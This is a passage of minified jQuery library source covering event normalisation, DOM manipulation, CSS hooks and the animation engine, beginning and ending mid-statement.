fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.documentElement,c=e.body,a.pageX=b.clientX+(f&&f.scrollLeft||c&&c.scrollLeft||0)-(f&&f.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(f&&f.scrollTop||c&&c.scrollTop||0)-(f&&f.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&h&&(a.relatedTarget=h===a.target?b.toElement:h),a.which||void 0===g||(a.which=1&g?1:2&g?3:4&g?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ra()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===ra()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return n.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c){var d=n.extend(new n.Event,c,{type:a,isSimulated:!0});n.event.trigger(d,null,b),d.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=d.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)}:function(a,b,c){var d="on"+b;a.detachEvent&&("undefined"==typeof a[d]&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?pa:qa):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={constructor:n.Event,isDefaultPrevented:qa,isPropagationStopped:qa,isImmediatePropagationStopped:qa,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=pa,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=pa,a&&!this.isSimulated&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=pa,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||n.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submit||(n.event.special.submit={setup:function(){return n.nodeName(this,"form")?!1:void n.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=n.nodeName(b,"input")||n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubble,this.parentNode&&!a.isTrigger&&n.event.simulate("submit",this.parentNode,a))},teardown:function(){return n.nodeName(this,"form")?!1:void n.event.remove(this,"._submit")}}),l.change||(n.event.special.change={setup:function(){return ka.test(this.nodeName)?("checkbox"!==this.type&&"radio"!==this.type||(n.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._justChanged=!0)}),n.event.add(this,"click._change",function(a){this._justChanged&&!a.isTrigger&&(this._justChanged=!1),n.event.simulate("change",this,a)})),!1):void n.event.add(this,"beforeactivate._change",function(a){var b=a.target;ka.test(b.nodeName)&&!n._data(b,"change")&&(n.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate("change",this.parentNode,a)}),n._data(b,"change",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,"._change"),!ka.test(this.nodeName)}}),l.focusin||n.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a))};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d){return sa(this,a,b,c,d)},one:function(a,b,c,d){return sa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=qa),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var ta=/ jQuery\d+="(?:null|\d+)"/g,ua=new RegExp("<(?:"+ba+")[\\s/>]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/<script|<style|<link/i,xa=/checked\s*(?:[^=]|=\s*.checked.)/i,ya=/^true\/(.*)/,za=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Ja[0].contentWindow||Ja[0].contentDocument).document,b.write(),b.close(),c=La(a,b),Ja.detach()),Ka[a]=c),c}var Na=/^margin/,Oa=new RegExp("^("+T+")(?!px)[a-z%]+$","i"),Pa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e},Qa=d.documentElement;!function(){var b,c,e,f,g,h,i=d.createElement("div"),j=d.createElement("div");if(j.style){j.style.cssText="float:left;opacity:.5",l.opacity="0.5"===j.style.opacity,l.cssFloat=!!j.style.cssFloat,j.style.backgroundClip="content-box",j.cloneNode(!0).style.backgroundClip="",l.clearCloneStyle="content-box"===j.style.backgroundClip,i=d.createElement("div"),i.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",j.innerHTML="",i.appendChild(j),l.boxSizing=""===j.style.boxSizing||""===j.style.MozBoxSizing||""===j.style.WebkitBoxSizing,n.extend(l,{reliableHiddenOffsets:function(){return null==b&&k(),f},boxSizingReliable:function(){return null==b&&k(),e},pixelMarginRight:function(){return null==b&&k(),c},pixelPosition:function(){return null==b&&k(),b},reliableMarginRight:function(){return null==b&&k(),g},reliableMarginLeft:function(){return null==b&&k(),h}});function k(){var k,l,m=d.documentElement;m.appendChild(i),j.style.cssText="-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",b=e=h=!1,c=g=!0,a.getComputedStyle&&(l=a.getComputedStyle(j),b="1%"!==(l||{}).top,h="2px"===(l||{}).marginLeft,e="4px"===(l||{width:"4px"}).width,j.style.marginRight="50%",c="4px"===(l||{marginRight:"4px"}).marginRight,k=j.appendChild(d.createElement("div")),k.style.cssText=j.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",k.style.marginRight=k.style.width="0",j.style.width="1px",g=!parseFloat((a.getComputedStyle(k)||{}).marginRight),j.removeChild(k)),j.style.display="none",f=0===j.getClientRects().length,f&&(j.style.display="",j.innerHTML="<table><tr><td></td><td>t</td></tr></table>",k=j.getElementsByTagName("td"),k[0].style.cssText="margin:0;border:0;padding:0;display:none",f=0===k[0].offsetHeight,f&&(k[0].style.display="",k[1].style.display="none",f=0===k[0].offsetHeight)),m.removeChild(i)}}}();var Ra,Sa,Ta=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ra=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c.getPropertyValue(b)||c[b]:void 0,""!==g&&void 0!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),c&&!l.pixelMarginRight()&&Oa.test(g)&&Na.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f),void 0===g?g:g+""}):Qa.currentStyle&&(Ra=function(a){return a.currentStyle},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Oa.test(g)&&!Ta.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Ua(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Va=/alpha\([^)]*\)/i,Wa=/opacity\s*=\s*([^)]*)/i,Xa=/^(none|table(?!-c[ea]).+)/,Ya=new RegExp("^("+T+")(.*)$","i"),Za={position:"absolute",visibility:"hidden",display:"block"},$a={letterSpacing:"0",fontWeight:"400"},_a=["Webkit","O","Moz","ms"],ab=d.createElement("div").style;function bb(a){if(a in ab)return a;var b=a.charAt(0).toUpperCase()+a.slice(1),c=_a.length;while(c--)if(a=_a[c]+b,a in ab)return a}function cb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&W(d)&&(f[g]=n._data(d,"olddisplay",Ma(d.nodeName)))):(e=W(d),(c&&"none"!==c||!e)&&n._data(d,"olddisplay",e?c:n.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function db(a,b,c){var d=Ya.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function eb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=n.css(a,c+V[f],!0,e)),d?("content"===c&&(g-=n.css(a,"padding"+V[f],!0,e)),"margin"!==c&&(g-=n.css(a,"border"+V[f]+"Width",!0,e))):(g+=n.css(a,"padding"+V[f],!0,e),"padding"!==c&&(g+=n.css(a,"border"+V[f]+"Width",!0,e)));return g}function fb(b,c,e){var f=!0,g="width"===c?b.offsetWidth:b.offsetHeight,h=Ra(b),i=l.boxSizing&&"border-box"===n.css(b,"boxSizing",!1,h);if(d.msFullscreenElement&&a.top!==a&&b.getClientRects().length&&(g=Math.round(100*b.getBoundingClientRect()[c])),0>=g||null==g){if(g=Sa(b,c,h),(0>g||null==g)&&(g=b.style[c]),Oa.test(g))return g;f=i&&(l.boxSizingReliable()||g===b.style[c]),g=parseFloat(g)||0}return g+eb(b,c,e||(i?"border":"content"),f,h)+"px"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Sa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":l.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=U.exec(c))&&e[1]&&(c=X(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(n.cssNumber[h]?"":"px")),l.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Sa(a,b,d)),"normal"===f&&b in $a&&(f=$a[b]),""===c||c?(e=parseFloat(f),c===!0||isFinite(e)?e||0:f):f}}),n.each(["height","width"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?Xa.test(n.css(a,"display"))&&0===a.offsetWidth?Pa(a,Za,function(){return fb(a,b,d)}):fb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ra(a);return db(a,c,d?eb(a,b,d,l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Wa.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===n.trim(f.replace(Va,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Va.test(f)?f.replace(Va,e):f+" "+e)}}),n.cssHooks.marginRight=Ua(l.reliableMarginRight,function(a,b){return b?Pa(a,{display:"inline-block"},Sa,[a,"marginRight"]):void 0}),n.cssHooks.marginLeft=Ua(l.reliableMarginLeft,function(a,b){
return b?(parseFloat(Sa(a,"marginLeft"))||(n.contains(a.ownerDocument,a)?a.getBoundingClientRect().left-Pa(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}):0))+"px":void 0}),n.each({margin:"",padding:"",border:"Width"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+V[d]+b]=f[d]||f[d-2]||f[0];return e}},Na.test(a)||(n.cssHooks[a+b].set=db)}),n.fn.extend({css:function(a,b){return Y(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Ra(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return cb(this,!0)},hide:function(){return cb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){W(this)?n(this).show():n(this).hide()})}});function gb(a,b,c,d,e){return new gb.prototype.init(a,b,c,d,e)}n.Tween=gb,gb.prototype={constructor:gb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||n.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?"":"px")},cur:function(){var a=gb.propHooks[this.prop];return a&&a.get?a.get(this):gb.propHooks._default.get(this)},run:function(a){var b,c=gb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):gb.propHooks._default.set(this),this}},gb.prototype.init.prototype=gb.prototype,gb.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=n.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[n.cssProps[a.prop]]&&!n.cssHooks[a.prop]?a.elem[a.prop]=a.now:n.style(a.elem,a.prop,a.now+a.unit)}}},gb.propHooks.scrollTop=gb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},n.fx=gb.prototype.init,n.fx.step={};var hb,ib,jb=/^(?:toggle|show|hide)$/,kb=/queueHooks$/;function lb(){return a.setTimeout(function(){hb=void 0}),hb=n.now()}function mb(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=V[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function nb(a,b,c){for(var d,e=(qb.tweeners[b]||[]).concat(qb.tweeners["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ob(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&W(a),r=n._data(a,"fxshow");c.queue||(h=n._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,"display"),k="none"===j?n._data(a,"olddisplay")||Ma(a.nodeName):j,"inline"===k&&"none"===n.css(a,"float")&&(l.inlineBlockNeedsLayout&&"inline"!==Ma(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],jb.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(o))"inline"===("none"===j?Ma(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=n._data(a,"fxshow",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,"fxshow");for(b in o)n.style(a,b,o[b])});for(d in o)g=nb(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function pb(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function qb(a,b,c){var d,e,f=0,g=qb.prefilters.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=hb||lb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{},easing:n.easing._default},c),originalProperties:b,originalOptions:c,startTime:hb||lb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(pb(k,j.opts.specialEasing);g>f;f++)if(d=qb.prefilters[f].call(j,a,k,j.opts))return n.isFunction(d.stop)&&(n._queueHooks(j.elem,j.opts.queue).stop=n.proxy(d.stop,d)),d;return n.map(k,nb,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(qb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return X(c.elem,a,U.exec(b),c),c}]},tweener:function(a,b){n.isFunction(a)?(b=a,a=["*"]):a=a.match(G);for(var c,d=0,e=a.length;e>d;d++)c=a[d],qb.tweeners[c]=qb.tweeners[c]||[],qb.tweeners[c].unshift(b)},prefilters:[ob],prefilter:function(a,b){b?qb.prefilters.unshift(a):qb.prefilters.push(a)}}),n.speed=function(a,b,c){var d=a&&"object"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(W).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=qb(this,n.extend({},a),f);(e||n._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&kb.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=n._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each(["toggle","show","hide"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(mb(b,!0),a,d,e)}}),n.each({slideDown:mb("show"),slideUp:mb("hide"),slideToggle:mb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 